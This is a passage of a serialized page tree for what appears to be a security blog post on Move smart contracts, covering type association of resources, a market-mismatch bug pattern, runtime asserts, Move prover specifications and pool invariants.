public",{"type":22,"tag":118,"props":9099,"children":9100},{"style":125},[9101],{"type":28,"value":540},{"type":22,"tag":118,"props":9103,"children":9104},{"style":204},[9105],{"type":28,"value":9106},"friend",{"type":22,"tag":118,"props":9108,"children":9109},{"style":125},[9110],{"type":28,"value":588},{"type":22,"tag":118,"props":9112,"children":9113},{"style":204},[9114],{"type":28,"value":9115},"fun",{"type":22,"tag":118,"props":9117,"children":9118},{"style":204},[9119],{"type":28,"value":9120}," create",{"type":22,"tag":118,"props":9122,"children":9123},{"style":125},[9124],{"type":28,"value":559},{"type":22,"tag":118,"props":9126,"children":9127},{"style":131},[9128],{"type":28,"value":8910},{"type":22,"tag":118,"props":9130,"children":9131},{"style":125},[9132],{"type":28,"value":8598},{"type":22,"tag":118,"props":9134,"children":9135},{"class":120,"line":142},[9136,9141,9145,9149,9154],{"type":22,"tag":118,"props":9137,"children":9138},{"style":204},[9139],{"type":28,"value":9140},"      lp_store",{"type":22,"tag":118,"props":9142,"children":9143},{"style":210},[9144],{"type":28,"value":213},{"type":22,"tag":118,"props":9146,"children":9147},{"style":210},[9148],{"type":28,"value":1430},{"type":22,"tag":118,"props":9150,"children":9151},{"style":204},[9152],{"type":28,"value":9153},"signer",{"type":22,"tag":118,"props":9155,"children":9156},{"style":125},[9157],{"type":28,"value":782},{"type":22,"tag":118,"props":9159,"children":9160},{"class":120,"line":177},[9161],{"type":22,"tag":118,"props":9162,"children":9163},{"style":257},[9164],{"type":28,"value":8606},{"type":22,"tag":118,"props":9166,"children":9167},{"class":120,"line":195},[9168,9173,9177,9182],{"type":22,"tag":118,"props":9169,"children":9170},{"style":125},[9171],{"type":28,"value":9172},"  ) ",{"type":22,"tag":118,"props":9174,"children":9175},{"style":204},[9176],{"type":28,"value":8353},{"type":22,"tag":118,"props":9178,"children":9179},{"style":131},[9180],{"type":28,"value":9181}," Reserves",{"type":22,"tag":118,"props":9183,"children":9184},{"style":125},[9185],{"type":28,"value":1474},{"type":22,"tag":118,"props":9187,"children":9188},{"class":120,"line":244},[9189,9194,9198,9203,9208,9212,9217,9221,9226],{"type":22,"tag":118,"props":9190,"children":9191},{"style":125},[9192],{"type":28,"value":9193},"      lp",{"type":22,"tag":118,"props":9195,"children":9196},{"style":210},[9197],{"type":28,"value":1190},{"type":22,"tag":118,"props":9199,"children":9200},{"style":532},[9201],{"type":28,"value":9202},"assert_is_lp_store",{"type":22,"tag":118,"props":9204,"children":9205},{"style":125},[9206],{"type":28,"value":9207},"(signer",{"type":22,"tag":118,"props":9209,"children":9210},{"style":210},[9211],{"type":28,"value":1190},{"type":22,"tag":118,"props":9213,"children":9214},{"style":532},[9215],{"type":28,"value":9216},"address_of",{"type":22,"tag":118,"props":9218,"children":9219},{"style":125},[9220],{"type":28,"value":540},{"type":22,"tag":118,"props":9222,"children":9223},{"style":204},[9224],{"type":28,"value":9225},"lp_store",{"type":22,"tag":118,"props":9227,"children":9228},{"style":125},[9229],{"type":28,"value":9230},"));\n",{"type":22,"tag":118,"props":9232,"children":9233},{"class":120,"line":253},[9234],{"type":22,"tag":118,"props":9235,"children":9236},{"emptyLinePlaceholder":15},[9237],{"type":28,"value":250},{"type":22,"tag":118,"props":9239,"children":9240},{"class":120,"line":263},[9241],{"type":22,"tag":118,"props":9242,"children":9243},{"style":257},[9244],{"type":28,"value":8606},{"type":22,"tag":118,"props":9246,"children":9247},{"class":120,"line":318},[9248],{"type":22,"tag":118,"props":9249,"children":9250},{"emptyLinePlaceholder":15},[9251],{"type":28,"value":250},{"type":22,"tag":118,"props":9253,"children":9254},{"class":120,"line":351},[9255,9260,9264,9268,9272,9276,9280,9284],{"type":22,"tag":118,"props":9256,"children":9257},{"style":532},[9258],{"type":28,"value":9259},"      move_to",{"type":22,"tag":118,"props":9261,"children":9262},{"style":125},[9263],{"type":28,"value":540},{"type":22,"tag":118,"props":9265,"children":9266},{"style":204},[9267],{"type":28,"value":9225},{"type":22,"tag":118,"props":9269,"children":9270},{"style":125},[9271],{"type":28,"value":231},{"type":22,"tag":118,"props":9273,"children":9274},{"style":131},[9275],{"type":28,"value":8811},{"type":22,"tag":118,"props":9277,"children":9278},{"style":125},[9279],{"type":28,"value":559},{"type":22,"tag":118,"props":9281,"children":9282},{"style":131},[9283],{"type":28,"value":8910},{"type":22,"tag":118,"props":9285,"children":9286},{"style":125},[9287],{"type":28,"value":174},{"type":22,"tag":118,"props":9289,"children":9290},{"class":120,"line":359},[9291],{"type":22,"tag":118,"props":9292,"children":9293},{"style":257},[9294],{"type":28,"value":8184},{"type":22,"tag":118,"props":9296,"children":9297},{"class":120,"line":368},[9298],{"type":22,"tag":118,"props":9299,"children":9300},{"style":125},[9301],{"type":28,"value":9302},"      });\n",{"type":22,"tag":31,"props":9304,"children":9305},{},[9306],{"type":28,"value":9307},"In both these instances, type association only works because we create exactly one instance per type.",{"type":22,"tag":31,"props":9309,"children":9310},{},[9311,9313,9319,9321,9327,9329,9334],{"type":28,"value":9312},"On the other hand, consider if you have a ",{"type":22,"tag":114,"props":9314,"children":9316},{"className":9315},[],[9317],{"type":28,"value":9318},"Position\u003CT>",{"type":28,"value":9320}," and a ",{"type":22,"tag":114,"props":9322,"children":9324},{"className":9323},[],[9325],{"type":28,"value":9326},"Market\u003CT>",{"type":28,"value":9328}," where ",{"type":22,"tag":114,"props":9330,"children":9332},{"className":9331},[],[9333],{"type":28,"value":7997},{"type":28,"value":9335}," is the coin type.",{"type":22,"tag":107,"props":9337,"children":9339},{"className":109,"code":9338,"language":111,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[9340],{"type":22,"tag":114,"props":9341,"children":9342},{"__ignoreMap":7},[9343,9371,9399,9406,9413,9420,9448,9468,9475],{"type":22,"tag":118,"props":9344,"children":9345},{"class":120,"line":121},[9346,9350,9355,9359,9363,9367],{"type":22,"tag":118,"props":9347,"children":9348},{"style":146},[9349],{"type":28,"value":8062},{"type":22,"tag":118,"props":9351,"children":9352},{"style":131},[9353],{"type":28,"value":9354}," Market",{"type":22,"tag":118,"props":9356,"children":9357},{"style":125},[9358],{"type":28,"value":559},{"type":22,"tag":118,"props":9360,"children":9361},{"style":204},[9362],{"type":28,"value":7821},{"type":22,"tag":118,"props":9364,"children":9365},{"style":131},[9366],{"type":28,"value":7928},{"type":22,"tag":118,"props":9368,"children":9369},{"style":125},[9370],{"type":28,"value":174},{"type":22,"tag":118,"props":9372,"children":9373},{"class":120,"line":142},[9374,9379,9383,9387,9391,9395],{"type":22,"tag":118,"props":9375,"children":9376},{"style":204},[9377],{"type":28,"value":9378},"        reserves",{"type":22,"tag":118,"props":9380,"children":9381},{"style":210},[9382],{"type":28,"value":213},{"type":22,"tag":118,"props":9384,"children":9385},{"style":131},[9386],{"type":28,"value":7812},{"type":22,"tag":118,"props":9388,"children":9389},{"style":125},[9390],{"type":28,"value":559},{"type":22,"tag":118,"props":9392,"children":9393},{"style":131},[9394],{"type":28,"value":7997},{"type":22,"tag":118,"props":9396,"children":9397},{"style":125},[9398],{"type":28,"value":241},{"type":22,"tag":118,"props":9400,"children":9401},{"class":120,"line":177},[9402],{"type":22,"tag":118,"props":9403,"children":9404},{"style":257},[9405],{"type":28,"value":8184},{"type":22,"tag":118,"props":9407,"children":9408},{"class":120,"line":195},[9409],{"type":22,"tag":118,"props":9410,"children":9411},{"style":125},[9412],{"type":28,"value":1254},{"type":22,"tag":118,"props":9414,"children":9415},{"class":120,"line":244},[9416],{"type":22,"tag":118,"props":9417,"children":9418},{"emptyLinePlaceholder":15},[9419],{"type":28,"value":250},{"type":22,"tag":118,"props":9421,"children":9422},{"class":120,"line":253},[9423,9427,9432,9436,9440,9444],{"type":22,"tag":118,"props":9424,"children":9425},{"style":146},[9426],{"type":28,"value":8062},{"type":22,"tag":118,"props":9428,"children":9429},{"style":131},[9430],{"type":28,"value":9431}," Position",{"type":22,"tag":118,"props":9433,"children":9434},{"style":125},[9435],{"type":28,"value":559},{"type":22,"tag":118,"props":9437,"children":9438},{"style":204},[9439],{"type":28,"value":7821},{"type":22,"tag":118,"props":9441,"children":9442},{"style":131},[9443],{"type":28,"value":7928},{"type":22,"tag":118,"props":9445,"children":9446},{"style":125},[9447],{"type":28,"value":174},{"type":22,"tag":118,"props":9449,"children":9450},{"class":120,"line":263},[9451,9456,9460,9464],{"type":22,"tag":118,"props":9452,"children":9453},{"style":204},[9454],{"type":28,"value":9455},"        amount",{"type":22,"tag":118,"props":9457,"children":9458},{"style":210},[9459],{"type":28,"value":213},{"type":22,"tag":118,"props":9461,"children":9462},{"style":131},[9463],{"type":28,"value":583},{"type":22,"tag":118,"props":9465,"children":9466},{"style":125},[9467],{"type":28,"value":782},{"type":22,"tag":118,"props":9469,"children":9470},{"class":120,"line":318},[9471],{"type":22,"tag":118,"props":9472,"children":9473},{"style":257},[9474],{"type":28,"value":8184},{"type":22,"tag":118,"props":9476,"children":9477},{"class":120,"line":351},[9478],{"type":22,"tag":118,"props":9479,"children":9480},{"style":125},[9481],{"type":28,"value":1254},{"type":22,"tag":31,"props":9483,"children":9484},{},[9485,9487,9492,9494,9499],{"type":28,"value":9486},"If ",{"type":22,"tag":114,"props":9488,"children":9490},{"className":9489},[],[9491],{"type":28,"value":9326},{"type":28,"value":9493}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":22,"tag":114,"props":9495,"children":9497},{"className":9496},[],[9498],{"type":28,"value":7997},{"type":28,"value":9500}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":22,"tag":31,"props":9502,"children":9503},{},[9504],{"type":28,"value":9505},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":22,"tag":107,"props":9507,"children":9509},{"className":109,"code":9508,"language":111,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[9510],{"type":22,"tag":114,"props":9511,"children":9512},{"__ignoreMap":7},[9513,9521,9583,9632,9684,9708,9720,9741,9749,9762],{"type":22,"tag":118,"props":9514,"children":9515},{"class":120,"line":121},[9516],{"type":22,"tag":118,"props":9517,"children":9518},{"style":257},[9519],{"type":28,"value":9520},"    /// Get the price of the token per lamport.\n",{"type":22,"tag":118,"props":9522,"children":9523},{"class":120,"line":142},[9524,9529,9533,9538,9542,9547,9551,9556,9560,9564,9569,9574,9579],{"type":22,"tag":118,"props":9525,"children":9526},{"style":204},[9527],{"type":28,"value":9528},"    public",{"type":22,"tag":118,"props":9530,"children":9531},{"style":204},[9532],{"type":28,"value":8216},{"type":22,"tag":118,"props":9534,"children":9535},{"style":532},[9536],{"type":28,"value":9537}," get_price",{"type":22,"tag":118,"props":9539,"children":9540},{"style":125},[9541],{"type":28,"value":540},{"type":22,"tag":118,"props":9543,"children":9544},{"style":204},[9545],{"type":28,"value":9546},"type_info",{"type":22,"tag":118,"props":9548,"children":9549},{"style":210},[9550],{"type":28,"value":213},{"type":22,"tag":118,"props":9552,"children":9553},{"style":131},[9554],{"type":28,"value":9555}," TypeInfo",{"type":22,"tag":118,"props":9557,"children":9558},{"style":125},[9559],{"type":28,"value":3627},{"type":22,"tag":118,"props":9561,"children":9562},{"style":210},[9563],{"type":28,"value":213},{"type":22,"tag":118,"props":9565,"children":9566},{"style":131},[9567],{"type":28,"value":9568}," Decimal",{"type":22,"tag":118,"props":9570,"children":9571},{"style":204},[9572],{"type":28,"value":9573}," acquires",{"type":22,"tag":118,"props":9575,"children":9576},{"style":131},[9577],{"type":28,"value":9578}," Oracle",{"type":22,"tag":118,"props":9580,"children":9581},{"style":125},[9582],{"type":28,"value":1474},{"type":22,"tag":118,"props":9584,"children":9585},{"class":120,"line":177},[9586,9590,9595,9599,9604,9608,9613,9618,9623,9628],{"type":22,"tag":118,"props":9587,"children":9588},{"style":146},[9589],{"type":28,"value":827},{"type":22,"tag":118,"props":9591,"children":9592},{"style":204},[9593],{"type":28,"value":9594}," oracle",{"type":22,"tag":118,"props":9596,"children":9597},{"style":210},[9598],{"type":28,"value":837},{"type":22,"tag":118,"props":9600,"children":9601},{"style":204},[9602],{"type":28,"value":9603}," borrow_global_mut",{"type":22,"tag":118,"props":9605,"children":9606},{"style":125},[9607],{"type":28,"value":559},{"type":22,"tag":118,"props":9609,"children":9610},{"style":131},[9611],{"type":28,"value":9612},"Oracle",{"type":22,"tag":118,"props":9614,"children":9615},{"style":125},[9616],{"type":28,"value":9617},">(",{"type":22,"tag":118,"props":9619,"children":9620},{"style":210},[9621],{"type":28,"value":9622},"@",{"type":22,"tag":118,"props":9624,"children":9625},{"style":204},[9626],{"type":28,"value":9627},"oracle",{"type":22,"tag":118,"props":9629,"children":9630},{"style":125},[9631],{"type":28,"value":682},{"type":22,"tag":118,"props":9633,"children":9634},{"class":120,"line":195},[9635,9639,9644,9648,9653,9657,9662,9666,9671,9675,9680],{"type":22,"tag":118,"props":9636,"children":9637},{"style":146},[9638],{"type":28,"value":827},{"type":22,"tag":118,"props":9640,"children":9641},{"style":204},[9642],{"type":28,"value":9643}," price",{"type":22,"tag":118,"props":9645,"children":9646},{"style":210},[9647],{"type":28,"value":837},{"type":22,"tag":118,"props":9649,"children":9650},{"style":125},[9651],{"type":28,"value":9652}," table",{"type":22,"tag":118,"props":9654,"children":9655},{"style":210},[9656],{"type":28,"value":1190},{"type":22,"tag":118,"props":9658,"children":9659},{"style":204},[9660],{"type":28,"value":9661},"borrow_mut_with_default",{"type":22,"tag":118,"props":9663,"children":9664},{"style":125},[9665],{"type":28,"value":559},{"type":22,"tag":118,"props":9667,"children":9668},{"style":131},[9669],{"type":28,"value":9670},"TypeInfo",{"type":22,"tag":118,"props":9672,"children":9673},{"style":125},[9674],{"type":28,"value":231},{"type":22,"tag":118,"props":9676,"children":9677},{"style":131},[9678],{"type":28,"value":9679},"Decimal",{"type":22,"tag":118,"props":9681,"children":9682},{"style":125},[9683],{"type":28,"value":8598},{"type":22,"tag":118,"props":9685,"children":9686},{"class":120,"line":244},[9687,9691,9695,9699,9703],{"type":22,"tag":118,"props":9688,"children":9689},{"style":210},[9690],{"type":28,"value":705},{"type":22,"tag":118,"props":9692,"children":9693},{"style":146},[9694],{"type":28,"value":188},{"type":22,"tag":118,"props":9696,"children":9697},{"style":204},[9698],{"type":28,"value":9594},{"type":22,"tag":118,"props":9700,"children":9701},{"style":210},[9702],{"type":28,"value":292},{"type":22,"tag":118,"props":9704,"children":9705},{"style":125},[9706],{"type":28,"value":9707},"prices,\n",{"type":22,"tag":118,"props":9709,"children":9710},{"class":120,"line":253},[9711,9716],{"type":22,"tag":118,"props":9712,"children":9713},{"style":204},[9714],{"type":28,"value":9715},"            type_info",{"type":22,"tag":118,"props":9717,"children":9718},{"style":125},[9719],{"type":28,"value":782},{"type":22,"tag":118,"props":9721,"children":9722},{"class":120,"line":263},[9723,9728,9732,9737],{"type":22,"tag":118,"props":9724,"children":9725},{"style":125},[9726],{"type":28,"value":9727},"            decimal",{"type":22,"tag":118,"props":9729,"children":9730},{"style":210},[9731],{"type":28,"value":1190},{"type":22,"tag":118,"props":9733,"children":9734},{"style":532},[9735],{"type":28,"value":9736},"one",{"type":22,"tag":118,"props":9738,"children":9739},{"style":125},[9740],{"type":28,"value":2708},{"type":22,"tag":118,"props":9742,"children":9743},{"class":120,"line":318},[9744],{"type":22,"tag":118,"props":9745,"children":9746},{"style":125},[9747],{"type":28,"value":9748},"        );\n",{"type":22,"tag":118,"props":9750,"children":9751},{"class":120,"line":351},[9752,9757],{"type":22,"tag":118,"props":9753,"children":9754},{"style":210},[9755],{"type":28,"value":9756},"        *",{"type":22,"tag":118,"props":9758,"children":9759},{"style":204},[9760],{"type":28,"value":9761},"price\n",{"type":22,"tag":118,"props":9763,"children":9764},{"class":120,"line":359},[9765],{"type":22,"tag":118,"props":9766,"children":9767},{"style":125},[9768],{"type":28,"value":1254},{"type":22,"tag":31,"props":9770,"children":9771},{},[9772,9774,9779],{"type":28,"value":9773},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":22,"tag":4764,"props":9775,"children":9776},{},[9777],{"type":28,"value":9778},"instance",{"type":28,"value":9780}," of another resource (which is possible in Diem style move).",{"type":22,"tag":31,"props":9782,"children":9783},{},[9784],{"type":28,"value":9785},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":22,"tag":4029,"props":9787,"children":9788},{},[9789,9794],{"type":22,"tag":68,"props":9790,"children":9791},{},[9792],{"type":28,"value":9793},"Have unique initializers for your resources",{"type":22,"tag":68,"props":9795,"children":9796},{},[9797],{"type":28,"value":9798},"Associate resources with instances directly",{"type":22,"tag":23,"props":9800,"children":9802},{"id":9801},"formal-verification",[9803],{"type":28,"value":9804},"Formal Verification",{"type":22,"tag":31,"props":9806,"children":9807},{},[9808],{"type":28,"value":9809},"Formal verification is another exciting feature.",{"type":22,"tag":31,"props":9811,"children":9812},{},[9813],{"type":28,"value":9814},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":22,"tag":31,"props":9816,"children":9817},{},[9818,9820,9825],{"type":28,"value":9819},"However, this isn't a silver bullet. The key is figuring out ",{"type":22,"tag":4764,"props":9821,"children":9822},{},[9823],{"type":28,"value":9824},"what",{"type":28,"value":9826}," to prove.",{"type":22,"tag":31,"props":9828,"children":9829},{},[9830,9832,9839],{"type":28,"value":9831},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":22,"tag":42,"props":9833,"children":9836},{"href":9834,"rel":9835},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[46],[9837],{"type":28,"value":9838},"Solana AMM rounding issue",{"type":28,"value":9840}," we reported.",{"type":22,"tag":31,"props":9842,"children":9843},{},[9844],{"type":28,"value":9845},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":22,"tag":107,"props":9847,"children":9849},{"className":109,"code":9848,"language":111,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[9850],{"type":22,"tag":114,"props":9851,"children":9852},{"__ignoreMap":7},[9853,9914],{"type":22,"tag":118,"props":9854,"children":9855},{"class":120,"line":121},[9856,9861,9866,9870,9875,9879,9884,9888,9892,9897,9901,9905,9910],{"type":22,"tag":118,"props":9857,"children":9858},{"style":146},[9859],{"type":28,"value":9860},"  let",{"type":22,"tag":118,"props":9862,"children":9863},{"style":204},[9864],{"type":28,"value":9865}," cmp",{"type":22,"tag":118,"props":9867,"children":9868},{"style":210},[9869],{"type":28,"value":837},{"type":22,"tag":118,"props":9871,"children":9872},{"style":125},[9873],{"type":28,"value":9874}," u256",{"type":22,"tag":118,"props":9876,"children":9877},{"style":210},[9878],{"type":28,"value":1190},{"type":22,"tag":118,"props":9880,"children":9881},{"style":532},[9882],{"type":28,"value":9883},"compare",{"type":22,"tag":118,"props":9885,"children":9886},{"style":125},[9887],{"type":28,"value":540},{"type":22,"tag":118,"props":9889,"children":9890},{"style":210},[9891],{"type":28,"value":1407},{"type":22,"tag":118,"props":9893,"children":9894},{"style":204},[9895],{"type":28,"value":9896},"lp_value_after_swap_and_fee",{"type":22,"tag":118,"props":9898,"children":9899},{"style":125},[9900],{"type":28,"value":231},{"type":22,"tag":118,"props":9902,"children":9903},{"style":210},[9904],{"type":28,"value":1407},{"type":22,"tag":118,"props":9906,"children":9907},{"style":204},[9908],{"type":28,"value":9909},"lp_value_before_swap_u256",{"type":22,"tag":118,"props":9911,"children":9912},{"style":125},[9913],{"type":28,"value":682},{"type":22,"tag":118,"props":9915,"children":9916},{"class":120,"line":142},[9917,9922,9926,9931,9935,9939],{"type":22,"tag":118,"props":9918,"children":9919},{"style":532},[9920],{"type":28,"value":9921},"  assert!",{"type":22,"tag":118,"props":9923,"children":9924},{"style":125},[9925],{"type":28,"value":540},{"type":22,"tag":118,"props":9927,"children":9928},{"style":204},[9929],{"type":28,"value":9930},"cmp",{"type":22,"tag":118,"props":9932,"children":9933},{"style":210},[9934],{"type":28,"value":1780},{"type":22,"tag":118,"props":9936,"children":9937},{"style":674},[9938],{"type":28,"value":677},{"type":22,"tag":118,"props":9940,"children":9941},{"style":125},[9942],{"type":28,"value":9943},", ERR_INCORRECT_SWAP);\n",{"type":22,"tag":31,"props":9945,"children":9946},{},[9947,9949,9954],{"type":28,"value":9948},"The move prover really shines when we're proving relationships ",{"type":22,"tag":4764,"props":9950,"children":9951},{},[9952],{"type":28,"value":9953},"between",{"type":28,"value":9955}," functions.",{"type":22,"tag":31,"props":9957,"children":9958},{},[9959,9961,9967],{"type":28,"value":9960},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":22,"tag":114,"props":9962,"children":9964},{"className":9963},[],[9965],{"type":28,"value":9966},"no_free_money_theorem",{"type":28,"value":9968}," in the move repository.",{"type":22,"tag":107,"props":9970,"children":9972},{"className":109,"code":9971,"language":111,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[9973],{"type":22,"tag":114,"props":9974,"children":9975},{"__ignoreMap":7},[9976,9984,10072,10114,10135,10142,10158,10184,10210,10235],{"type":22,"tag":118,"props":9977,"children":9978},{"class":120,"line":121},[9979],{"type":22,"tag":118,"props":9980,"children":9981},{"style":257},[9982],{"type":28,"value":9983},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":22,"tag":118,"props":9985,"children":9986},{"class":120,"line":142},[9987,9991,9996,10000,10005,10009,10013,10017,10022,10026,10030,10034,10038,10042,10047,10051,10055,10059,10063,10068],{"type":22,"tag":118,"props":9988,"children":9989},{"style":204},[9990],{"type":28,"value":8579},{"type":22,"tag":118,"props":9992,"children":9993},{"style":532},[9994],{"type":28,"value":9995}," no_free_money_theorem",{"type":22,"tag":118,"props":9997,"children":9998},{"style":125},[9999],{"type":28,"value":540},{"type":22,"tag":118,"props":10001,"children":10002},{"style":204},[10003],{"type":28,"value":10004},"coin1_in",{"type":22,"tag":118,"props":10006,"children":10007},{"style":210},[10008],{"type":28,"value":213},{"type":22,"tag":118,"props":10010,"children":10011},{"style":131},[10012],{"type":28,"value":583},{"type":22,"tag":118,"props":10014,"children":10015},{"style":125},[10016],{"type":28,"value":231},{"type":22,"tag":118,"props":10018,"children":10019},{"style":204},[10020],{"type":28,"value":10021},"coin2_in",{"type":22,"tag":118,"props":10023,"children":10024},{"style":210},[10025],{"type":28,"value":213},{"type":22,"tag":118,"props":10027,"children":10028},{"style":131},[10029],{"type":28,"value":583},{"type":22,"tag":118,"props":10031,"children":10032},{"style":125},[10033],{"type":28,"value":3627},{"type":22,"tag":118,"props":10035,"children":10036},{"style":210},[10037],{"type":28,"value":213},{"type":22,"tag":118,"props":10039,"children":10040},{"style":125},[10041],{"type":28,"value":842},{"type":22,"tag":118,"props":10043,"children":10044},{"style":131},[10045],{"type":28,"value":10046},"u64",{"type":22,"tag":118,"props":10048,"children":10049},{"style":125},[10050],{"type":28,"value":231},{"type":22,"tag":118,"props":10052,"children":10053},{"style":131},[10054],{"type":28,"value":10046},{"type":22,"tag":118,"props":10056,"children":10057},{"style":125},[10058],{"type":28,"value":588},{"type":22,"tag":118,"props":10060,"children":10061},{"style":204},[10062],{"type":28,"value":8353},{"type":22,"tag":118,"props":10064,"children":10065},{"style":131},[10066],{"type":28,"value":10067}," Pool",{"type":22,"tag":118,"props":10069,"children":10070},{"style":125},[10071],{"type":28,"value":1474},{"type":22,"tag":118,"props":10073,"children":10074},{"class":120,"line":177},[10075,10080,10085,10089,10094,10098,10102,10106,10110],{"type":22,"tag":118,"props":10076,"children":10077},{"style":146},[10078],{"type":28,"value":10079},"      let",{"type":22,"tag":118,"props":10081,"children":10082},{"style":204},[10083],{"type":28,"value":10084}," share",{"type":22,"tag":118,"props":10086,"children":10087},{"style":210},[10088],{"type":28,"value":837},{"type":22,"tag":118,"props":10090,"children":10091},{"style":532},[10092],{"type":28,"value":10093}," add_liquidity",{"type":22,"tag":118,"props":10095,"children":10096},{"style":125},[10097],{"type":28,"value":540},{"type":22,"tag":118,"props":10099,"children":10100},{"style":204},[10101],{"type":28,"value":10004},{"type":22,"tag":118,"props":10103,"children":10104},{"style":125},[10105],{"type":28,"value":231},{"type":22,"tag":118,"props":10107,"children":10108},{"style":204},[10109],{"type":28,"value":10021},{"type":22,"tag":118,"props":10111,"children":10112},{"style":125},[10113],{"type":28,"value":682},{"type":22,"tag":118,"props":10115,"children":10116},{"class":120,"line":195},[10117,10122,10126,10131],{"type":22,"tag":118,"props":10118,"children":10119},{"style":532},[10120],{"type":28,"value":10121},"      remove_liquidity",{"type":22,"tag":118,"props":10123,"children":10124},{"style":125},[10125],{"type":28,"value":540},{"type":22,"tag":118,"props":10127,"children":10128},{"style":204},[10129],{"type":28,"value":10130},"share",{"type":22,"tag":118,"props":10132,"children":10133},{"style":125},[10134],{"type":28,"value":3665},{"type":22,"tag":118,"props":10136,"children":10137},{"class":120,"line":244},[10138],{"type":22,"tag":118,"props":10139,"children":10140},{"style":125},[10141],{"type":28,"value":7881},{"type":22,"tag":118,"props":10143,"children":10144},{"class":120,"line":253},[10145,10150,10154],{"type":22,"tag":118,"props":10146,"children":10147},{"style":204},[10148],{"type":28,"value":10149},"  spec",{"type":22,"tag":118,"props":10151,"children":10152},{"style":204},[10153],{"type":28,"value":9995},{"type":22,"tag":118,"props":10155,"children":10156},{"style":125},[10157],{"type":28,"value":1474},{"type":22,"tag":118,"props":10159,"children":10160},{"class":120,"line":263},[10161,10166,10171,10175,10180],{"type":22,"tag":118,"props":10162,"children":10163},{"style":204},[10164],{"type":28,"value":10165},"      pragma",{"type":22,"tag":118,"props":10167,"children":10168},{"style":204},[10169],{"type":28,"value":10170}," verify",{"type":22,"tag":118,"props":10172,"children":10173},{"style":210},[10174],{"type":28,"value":282},{"type":22,"tag":118,"props":10176,"children":10177},{"style":146},[10178],{"type":28,"value":10179},"false",{"type":22,"tag":118,"props":10181,"children":10182},{"style":125},[10183],{"type":28,"value":801},{"type":22,"tag":118,"props":10185,"children":10186},{"class":120,"line":318},[10187,10192,10197,10201,10206],{"type":22,"tag":118,"props":10188,"children":10189},{"style":204},[10190],{"type":28,"value":10191},"      ensures",{"type":22,"tag":118,"props":10193,"children":10194},{"style":204},[10195],{"type":28,"value":10196}," result_1",{"type":22,"tag":118,"props":10198,"children":10199},{"style":210},[10200],{"type":28,"value":1798},{"type":22,"tag":118,"props":10202,"children":10203},{"style":204},[10204],{"type":28,"value":10205}," coin1_in",{"type":22,"tag":118,"props":10207,"children":10208},{"style":125},[10209],{"type":28,"value":801},{"type":22,"tag":118,"props":10211,"children":10212},{"class":120,"line":351},[10213,10217,10222,10226,10231],{"type":22,"tag":118,"props":10214,"children":10215},{"style":204},[10216],{"type":28,"value":10191},{"type":22,"tag":118,"props":10218,"children":10219},{"style":204},[10220],{"type":28,"value":10221}," result_2",{"type":22,"tag":118,"props":10223,"children":10224},{"style":210},[10225],{"type":28,"value":1798},{"type":22,"tag":118,"props":10227,"children":10228},{"style":204},[10229],{"type":28,"value":10230}," coin2_in",{"type":22,"tag":118,"props":10232,"children":10233},{"style":125},[10234],{"type":28,"value":801},{"type":22,"tag":118,"props":10236,"children":10237},{"class":120,"line":359},[10238],{"type":22,"tag":118,"props":10239,"children":10240},{"style":125},[10241],{"type":28,"value":7881},{"type":22,"tag":31,"props":10243,"children":10244},{},[10245],{"type":28,"value":10246},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":22,"tag":31,"props":10248,"children":10249},{},[10250,10252,10257],{"type":28,"value":10251},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":22,"tag":4764,"props":10253,"children":10254},{},[10255],{"type":28,"value":10256},"lot",{"type":28,"value":10258}," easier to reason about the protocol.",{"type":22,"tag":31,"props":10260,"children":10261},{},[10262],{"type":28,"value":10263},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":22,"tag":107,"props":10265,"children":10267},{"className":109,"code":10266,"language":111,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[10268],{"type":22,"tag":114,"props":10269,"children":10270},{"__ignoreMap":7},[10271,10288,10310],{"type":22,"tag":118,"props":10272,"children":10273},{"class":120,"line":121},[10274,10279,10284],{"type":22,"tag":118,"props":10275,"children":10276},{"style":204},[10277],{"type":28,"value":10278},"spec",{"type":22,"tag":118,"props":10280,"children":10281},{"style":131},[10282],{"type":28,"value":10283}," PoolState",{"type":22,"tag":118,"props":10285,"children":10286},{"style":125},[10287],{"type":28,"value":1474},{"type":22,"tag":118,"props":10289,"children":10290},{"class":120,"line":142},[10291,10296,10301,10305],{"type":22,"tag":118,"props":10292,"children":10293},{"style":204},[10294],{"type":28,"value":10295},"    